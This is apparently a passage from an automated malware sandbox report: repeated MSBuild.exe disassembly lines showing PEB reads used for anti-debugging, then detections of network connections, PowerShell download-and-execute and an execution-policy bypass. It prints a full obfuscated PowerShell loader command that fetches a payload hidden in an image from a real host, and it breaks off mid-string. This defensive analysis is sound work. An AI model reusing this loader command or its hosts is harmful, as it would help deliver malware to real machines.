                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135D534 mov eax, dword ptr fs:[00000030h]8_2_0135D534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135D534 mov eax, dword ptr fs:[00000030h]8_2_0135D534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135D534 mov eax, dword ptr fs:[00000030h]8_2_0135D534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135D534 mov eax, dword ptr fs:[00000030h]8_2_0135D534
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360535 mov eax, dword ptr fs:[00000030h]8_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360535 mov eax, dword ptr fs:[00000030h]8_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360535 mov eax, dword ptr fs:[00000030h]8_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360535 mov eax, dword ptr fs:[00000030h]8_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360535 mov eax, dword ptr fs:[00000030h]8_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360535 mov eax, dword ptr fs:[00000030h]8_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138D530 mov eax, dword ptr fs:[00000030h]8_2_0138D530
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138D530 mov eax, dword ptr fs:[00000030h]8_2_0138D530
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E53E mov eax, dword ptr fs:[00000030h]8_2_0137E53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E53E mov eax, dword ptr fs:[00000030h]8_2_0137E53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E53E mov eax, dword ptr fs:[00000030h]8_2_0137E53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E53E mov eax, dword ptr fs:[00000030h]8_2_0137E53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E53E mov eax, dword ptr fs:[00000030h]8_2_0137E53E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FF525 mov eax, dword ptr fs:[00000030h]8_2_013FF525
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01387505 mov eax, dword ptr fs:[00000030h]8_2_01387505
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01387505 mov ecx, dword ptr fs:[00000030h]8_2_01387505
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01424500 mov eax, dword ptr fs:[00000030h]8_2_01424500
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138B570 mov eax, dword ptr fs:[00000030h]8_2_0138B570
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138B570 mov eax, dword ptr fs:[00000030h]8_2_0138B570
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138656A mov eax, dword ptr fs:[00000030h]8_2_0138656A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138656A mov eax, dword ptr fs:[00000030h]8_2_0138656A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138656A mov eax, dword ptr fs:[00000030h]8_2_0138656A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134B562 mov eax, dword ptr fs:[00000030h]8_2_0134B562
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01358550 mov eax, dword ptr fs:[00000030h]8_2_01358550
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01358550 mov eax, dword ptr fs:[00000030h]8_2_01358550
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140B52F mov eax, dword ptr fs:[00000030h]8_2_0140B52F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01425537 mov eax, dword ptr fs:[00000030h]8_2_01425537
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E35BA mov eax, dword ptr fs:[00000030h]8_2_013E35BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E35BA mov eax, dword ptr fs:[00000030h]8_2_013E35BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E35BA mov eax, dword ptr fs:[00000030h]8_2_013E35BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E35BA mov eax, dword ptr fs:[00000030h]8_2_013E35BA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013745B1 mov eax, dword ptr fs:[00000030h]8_2_013745B1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013745B1 mov eax, dword ptr fs:[00000030h]8_2_013745B1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137F5B0 mov eax, dword ptr fs:[00000030h]8_2_0137F5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014255C9 mov eax, dword ptr fs:[00000030h]8_2_014255C9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014235D7 mov eax, dword ptr fs:[00000030h]8_2_014235D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014235D7 mov eax, dword ptr fs:[00000030h]8_2_014235D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014235D7 mov eax, dword ptr fs:[00000030h]8_2_014235D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D05A7 mov eax, dword ptr fs:[00000030h]8_2_013D05A7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D05A7 mov eax, dword ptr fs:[00000030h]8_2_013D05A7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D05A7 mov eax, dword ptr fs:[00000030h]8_2_013D05A7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715A9 mov eax, dword ptr fs:[00000030h]8_2_013715A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715A9 mov eax, dword ptr fs:[00000030h]8_2_013715A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715A9 mov eax, dword ptr fs:[00000030h]8_2_013715A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715A9 mov eax, dword ptr fs:[00000030h]8_2_013715A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715A9 mov eax, dword ptr fs:[00000030h]8_2_013715A9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138E59C mov eax, dword ptr fs:[00000030h]8_2_0138E59C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013DB594 mov eax, dword ptr fs:[00000030h]8_2_013DB594
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013DB594 mov eax, dword ptr fs:[00000030h]8_2_013DB594
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01384588 mov eax, dword ptr fs:[00000030h]8_2_01384588
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01352582 mov eax, dword ptr fs:[00000030h]8_2_01352582
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01352582 mov ecx, dword ptr fs:[00000030h]8_2_01352582
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134758F mov eax, dword ptr fs:[00000030h]8_2_0134758F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134758F mov eax, dword ptr fs:[00000030h]8_2_0134758F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134758F mov eax, dword ptr fs:[00000030h]8_2_0134758F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715F4 mov eax, dword ptr fs:[00000030h]8_2_013715F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715F4 mov eax, dword ptr fs:[00000030h]8_2_013715F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715F4 mov eax, dword ptr fs:[00000030h]8_2_013715F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715F4 mov eax, dword ptr fs:[00000030h]8_2_013715F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715F4 mov eax, dword ptr fs:[00000030h]8_2_013715F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013715F4 mov eax, dword ptr fs:[00000030h]8_2_013715F4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137E5E7 mov eax, dword ptr fs:[00000030h]8_2_0137E5E7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138C5ED mov eax, dword ptr fs:[00000030h]8_2_0138C5ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138C5ED mov eax, dword ptr fs:[00000030h]8_2_0138C5ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013525E0 mov eax, dword ptr fs:[00000030h]8_2_013525E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013565D0 mov eax, dword ptr fs:[00000030h]8_2_013565D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138A5D0 mov eax, dword ptr fs:[00000030h]8_2_0138A5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138A5D0 mov eax, dword ptr fs:[00000030h]8_2_0138A5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD5D0 mov eax, dword ptr fs:[00000030h]8_2_013CD5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD5D0 mov ecx, dword ptr fs:[00000030h]8_2_013CD5D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013795DA mov eax, dword ptr fs:[00000030h]8_2_013795DA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138E5CF mov eax, dword ptr fs:[00000030h]8_2_0138E5CF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138E5CF mov eax, dword ptr fs:[00000030h]8_2_0138E5CF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013855C0 mov eax, dword ptr fs:[00000030h]8_2_013855C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140F5BE mov eax, dword ptr fs:[00000030h]8_2_0140F5BE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138A430 mov eax, dword ptr fs:[00000030h]8_2_0138A430
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140F453 mov eax, dword ptr fs:[00000030h]8_2_0140F453
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134C427 mov eax, dword ptr fs:[00000030h]8_2_0134C427
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134E420 mov eax, dword ptr fs:[00000030h]8_2_0134E420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134E420 mov eax, dword ptr fs:[00000030h]8_2_0134E420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134E420 mov eax, dword ptr fs:[00000030h]8_2_0134E420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D6420 mov eax, dword ptr fs:[00000030h]8_2_013D6420
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D7410 mov eax, dword ptr fs:[00000030h]8_2_013D7410
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137340D mov eax, dword ptr fs:[00000030h]8_2_0137340D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01388402 mov eax, dword ptr fs:[00000030h]8_2_01388402
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01388402 mov eax, dword ptr fs:[00000030h]8_2_01388402
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01388402 mov eax, dword ptr fs:[00000030h]8_2_01388402
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0142547F mov eax, dword ptr fs:[00000030h]8_2_0142547F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137A470 mov eax, dword ptr fs:[00000030h]8_2_0137A470
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137A470 mov eax, dword ptr fs:[00000030h]8_2_0137A470
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137A470 mov eax, dword ptr fs:[00000030h]8_2_0137A470
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351460 mov eax, dword ptr fs:[00000030h]8_2_01351460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351460 mov eax, dword ptr fs:[00000030h]8_2_01351460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351460 mov eax, dword ptr fs:[00000030h]8_2_01351460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351460 mov eax, dword ptr fs:[00000030h]8_2_01351460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01351460 mov eax, dword ptr fs:[00000030h]8_2_01351460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136F460 mov eax, dword ptr fs:[00000030h]8_2_0136F460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136F460 mov eax, dword ptr fs:[00000030h]8_2_0136F460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136F460 mov eax, dword ptr fs:[00000030h]8_2_0136F460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136F460 mov eax, dword ptr fs:[00000030h]8_2_0136F460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136F460 mov eax, dword ptr fs:[00000030h]8_2_0136F460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136F460 mov eax, dword ptr fs:[00000030h]8_2_0136F460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134645D mov eax, dword ptr fs:[00000030h]8_2_0134645D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137245A mov eax, dword ptr fs:[00000030h]8_2_0137245A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135B440 mov eax, dword ptr fs:[00000030h]8_2_0135B440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135B440 mov eax, dword ptr fs:[00000030h]8_2_0135B440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135B440 mov eax, dword ptr fs:[00000030h]8_2_0135B440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135B440 mov eax, dword ptr fs:[00000030h]8_2_0135B440
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135B440 mov eax, dword ptr fs:[00000030h]8_2_0135B440

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  System process connects to network (likely due to code injection or exploit)
                  Source: C:\Windows\System32\wscript.exeNetwork Connect: 192.186.57.30 80Jump to behavior
                  Yara detected Powershell download and execute
                  Source: Yara matchFile source: amsi64_7892.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7760, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7892, type: MEMORYSTR
                  Bypasses PowerShell execution policy
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAK